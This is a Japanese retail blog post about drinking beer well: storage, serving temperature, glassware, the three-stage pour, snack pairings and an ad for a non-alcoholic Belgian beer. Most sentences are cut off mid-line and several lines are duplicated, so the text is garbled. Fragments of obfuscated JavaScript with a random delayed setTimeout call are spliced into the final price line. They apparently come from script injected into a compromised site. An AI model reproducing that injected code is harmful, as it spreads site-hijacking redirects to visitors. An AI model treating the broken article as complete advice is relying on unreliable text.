2021/7/15 posted
夏だ！ビールだ！最高に美味しさを引き出すビールの飲み方
暑い夏は、やっぱりキリッと冷えたビールが最高ですよね！
今回は、夏に向けてビールの美味しい飲み方を大研究。
ベストな温度は？
グラスに移したほうがいいの？
など、普段のビールをもっと美味しく飲むコツが満載ですよ！
今回は、夏に向けてビールの美味しい飲み方を大研究。
ベストな温度は？
グラスに移したほうがいいの？
など、普段のビールをもっと美味しく飲むコツが満載ですよ！
◇美味しいビールを選ぶには、鮮度に注目！
ビール大国として知られるドイツでは昔から「
これは、そもそもビールは、
ビールはとてもデリケート。
現在では、輸送・保存方法の進歩によって状況は改善し、
しかし、
また、ビール工場に見学に行って飲む、工場で直接購入する、
◇美味しさをキープする保管方法
現在日本でのビールの賞味期限は製造年月日より1年とされていま
賞味期限内であれば品質の劣化はなく飲めますが、
賞味期限内であれば品質の劣化はなく飲めますが、
品質を維持する保管方法のポイントは３つ。高温、光、
それぞれ解説してみましょう。
・高温を避ける
ビールは温度変化に弱く、
特に、30度を超える温度にさらされると、カードボード臭（
お店でビールを購入して持ち帰る際は、
特に、30度を超える温度にさらされると、カードボード臭（
お店でビールを購入して持ち帰る際は、
自宅で保管する際は、冷蔵不要のビールであっても、
また、酵母が生きているタイプのビールの場合、
いつもと違う銘柄を購入する場合は、必ずラベル表示を確認して、
・光を避ける
瓶ビールは、茶色や緑の瓶に入っていますよね。
ホップに含まれる成分の一部は、緑~
ちなみに、瓶ビールを光に当てた場合、日光臭(スカンク臭）
なお、日光だけでなく、蛍光灯の光でも劣化は進んでしまいます。
なので、
冷蔵不要の瓶ビールであっても、できれば冷蔵庫など、
・振動を避ける
もう一つ、保管の際に避けたいのが振動。
振動を与えると瓶や缶の中で炭酸ガスが分離した状態になります。
冷蔵庫で保管する場合は、
また、
買ってきた直後のビールは、運んでくる途中の絶え間ない振動で、
炭酸を落ち着かせるために、
◇ビールを最高に美味しくする温度は？
スーパーで一般的に売られているのは低温発酵させるラガーという
爽やかな口当たりが特徴のラガービールが最も美味しく感じる適温
爽やかな口当たりが特徴のラガービールが最も美味しく感じる適温
家庭用の冷蔵庫の場合は、
なお、グラスに注いで飲む場合は、
これに対して、最近流行のクラフトビールなどは、
ホップや発酵に由来する華やかな香りの成分をふんだんに含んだエ
エールビールの場合は、冷蔵庫から取り出して、
◇グラスに注ぐと、いつものビールがワンランクアップ！
家でビールを飲むときは、お手軽に、
しかし、
まず、缶や瓶の飲み口は小さく、ビールの持つホップや麦、
また、通常、
なので、缶や瓶から直接飲む場合、
なので、そのビールのもつポテンシャルを十分に発揮させるには、
ビールの味わいによって適するグラスの形状は異なり、
クラフトビールなどのエールビールの場合は、
香りがグラスの中にとどまるため、
◇ビールを美味しくする三度注ぎ
また、グラスに注ぐことのもう一つの利点が、
ビールの泡の正体は、ホップに含まれる苦味成分であるイソフ
つまり、グラスに注ぐ際にしっかり泡をたてることで、
また、しっかり立てた泡は、ビールを覆う蓋の役目を果たすため、
しっかりした泡を立てるには、注ぎ方がポイントになります。
おすすめするのは、
やり方は以下のとおりです。
1.
グラスは寝かせず垂直に立て、少し高い位置から、
泡が落ち着き、グラスの半分程度に減るまで数分待つ。
2.
泡が落ち着き、グラスの半分程度に減るまで数分待つ。
2.
泡が落ち着いたら、グラスをやや斜めにし、
徐々にグラスを起こして、
3.
3.
仕上げに、垂直にグラスを立てた状態で、
なお、クリーミーな泡の口当たりと、
三度注ぎで注ぎ終わった時に、ビールと泡のバランスが7：
三度注ぎで作った泡はモコモコと盛り上がりきめ細やかで、
なお、グラスに汚れ（油分）が付着していると、
ビールグラスは使用前にしっかり洗って、汚れが付着しないよう、
普段、家ではビールはそのまま飲んている方も、
いつものビールが本来持っている味わいを、100%
◇ビールに合うおつまみは？
ビールを開ければ、どうしても欲しくなるのはおつまみですよね。
お酒と食べ物を組み合わせるフードマリアージュの観点から言うと
例えば、日本でビールに定番のおつまみといえば、
サッパリした豆の味わいに、
また、唐揚げもビールに良く合う組み合わせ。
濃厚な味わいの鶏もも肉を油で揚げて塩コショウを効かせた唐揚げ
料理でいうと、
・焼き魚など、シンプルな食材に塩気を効かせた料理
・餃子のようにガーリックや、黒胡椒・
・揚げ物、グリルした肉などオイリーでボリュームある料理
などがビールと好相性です。
なお、「ビールに合うおつまみと言えば？」
1位 枝豆
2位 焼き鳥
3位 唐揚げ
4位 ソーセージ
5位 餃子
やはり、
おつまみ選びの参考にしてくださいね！
◇美味しいノンアルコールビールはこれだ！
健康のためにノンアルコールビールを楽しみたいけれど、
ビア・デザミー0.0は、
一旦醸造したビールを、真空蒸留設備を使い32℃
なので、ノンアルコールにもかかわらず、
軽めのボディとスッキリした飲み口、
【ノンアルコール・ベルギービール】
BIERE DES AMIS 0.0% ビア・デザミー0.0 12本セット
価格：￥7,452（税込） dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.com/view/item/000000000200″>→ クリックして商品を見る
